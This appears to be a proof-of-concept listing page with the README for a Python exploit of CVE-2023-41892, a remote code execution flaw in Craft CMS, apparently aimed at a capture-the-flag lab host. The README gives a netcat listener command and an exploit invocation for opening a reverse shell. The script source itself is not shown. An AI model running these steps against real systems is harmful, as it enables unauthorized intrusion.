CVE-2023-41892 PoC — Craft CMS Remote Code Execution vulnerability

Source

Associated Vulnerability

Description

CVE-2023-41892 Reverse Shell

Readme

This python script exploits the Remote Code Execution vulnerability (CVE-2023-41892) of the Craft CMS, which is a popular content management system. Versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability allowing attackers to execute arbitrary code remotely, like a PHP reverse shell.

## Usage

First start a netcat listener in another shell:

`nc -nlvp 1234`

Then check your ip address and run the exploit:

`python3 exploit.py -r 10.10.16.47 -p 1234 http://surveillance.htb`

Happy hacking with your brand new reverse shell!

## Disclaimer

This code is intended for ethical hacking purposes only and should not be used for any malicious activities!

## References

Thanks to [to016](https://gist.github.com/to016) for the original code than can be found in this [Gist](https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226)

File Snapshot

 [4.0K]  /data/pocs/87f6a65d6233685c6ed603c3d36894c02b5ad9b4
├── [3.8K]  exploit.py
└── [ 854]  README.md

0 directories, 2 files

Remarks